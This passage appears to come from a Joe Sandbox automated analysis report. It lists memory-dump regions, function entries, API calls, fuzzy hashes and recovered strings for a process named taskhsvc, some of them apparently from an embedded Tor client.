                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$abort$memcpy$free
                                                                                                                          • String ID: $7$@
                                                                                                                          • API String ID: 2714583125-2393092947
                                                                                                                          • Opcode ID: f7353919ba48174aeeba5b9c9d73b9e2dadf60f607a30a79d25c2a9aa175f0b0
                                                                                                                          • Instruction ID: 7dcf7c263d251e96318f433f8dbc4d6681a34f22d7a527751ea8205995f5c26d
                                                                                                                          • Opcode Fuzzy Hash: f7353919ba48174aeeba5b9c9d73b9e2dadf60f607a30a79d25c2a9aa175f0b0
                                                                                                                          • Instruction Fuzzy Hash: D0D1E1B4908319CFCB00EFA9D585A9EBBF1EF88304F119819E488AB356D774D945CF62
                                                                                                                          Function 00C4E06E Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 213stringCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • abort.MSVCRT ref: 00C4E0D0
                                                                                                                            • Part of subcall function 00D42664: abort.MSVCRT ref: 00D426B4
                                                                                                                          • abort.MSVCRT ref: 00C4E10F
                                                                                                                          • abort.MSVCRT ref: 00C4E14E
                                                                                                                          • abort.MSVCRT ref: 00C4E18D
                                                                                                                          • strlen.MSVCRT ref: 00C4E20B
                                                                                                                          • free.MSVCRT ref: 00C4E232
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00C4E39E
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D36586
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D3659C
                                                                                                                            • Part of subcall function 00D36562: __stack_chk_fail.LIBSSP-0 ref: 00D36601
                                                                                                                            • Part of subcall function 00D39764: __stack_chk_fail.LIBSSP-0 ref: 00D39857
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: abort$__stack_chk_fail$strrchr$freestrlen
                                                                                                                          • String ID: e
                                                                                                                          • API String ID: 2547319791-2133341683
                                                                                                                          • Opcode ID: 2170a0ee57996f22d3eaa34ec18862c955e841cd4db087f3f82cba97d67fbf29
                                                                                                                          • Instruction ID: 1f318e6539c259644839071456bad2451ae91650fbacf3b4db52dee10822e68d
                                                                                                                          • Opcode Fuzzy Hash: 2170a0ee57996f22d3eaa34ec18862c955e841cd4db087f3f82cba97d67fbf29
                                                                                                                          • Instruction Fuzzy Hash: A091D5B4A083059FDB00EFA9D4456AEBBF0FF88354F419819E894AB351D778D984CF62
                                                                                                                          Function 00BE205E Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 59COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 00D3A290: __stack_chk_fail.LIBSSP-0 ref: 00D3A2EF
                                                                                                                          • abort.MSVCRT ref: 00BE20C0
                                                                                                                          • abort.MSVCRT ref: 00BE2105
                                                                                                                          • time.MSVCRT ref: 00BE2111
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00BE2145
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D36586
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D3659C
                                                                                                                            • Part of subcall function 00D36562: __stack_chk_fail.LIBSSP-0 ref: 00D36601
                                                                                                                            • Part of subcall function 00D39764: __stack_chk_fail.LIBSSP-0 ref: 00D39857
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$abortstrrchr$time
                                                                                                                          • String ID: !smartlist_contains(closeable_connection_lst, conn)$../src/or/main.c$`$add_connection_to_closeable_list$conn->marked_for_close
                                                                                                                          • API String ID: 2530370894-3412153937
                                                                                                                          • Opcode ID: 512121f16936f41f331736dcb8206605ea8c7711727b09bbfb1d2e02309fbedc
                                                                                                                          • Instruction ID: 0e1c36f0d8770d613648ad75af361df798fa2c5e2cf60e45ba8ec7bf805ac206
                                                                                                                          • Opcode Fuzzy Hash: 512121f16936f41f331736dcb8206605ea8c7711727b09bbfb1d2e02309fbedc
                                                                                                                          • Instruction Fuzzy Hash: DE21F4B49087159FCB00EFA5D4425AEBBF0EF84704F01D819A898EB351EB78D885DF62
                                                                                                                          Function 00D0505C Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 276stringCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
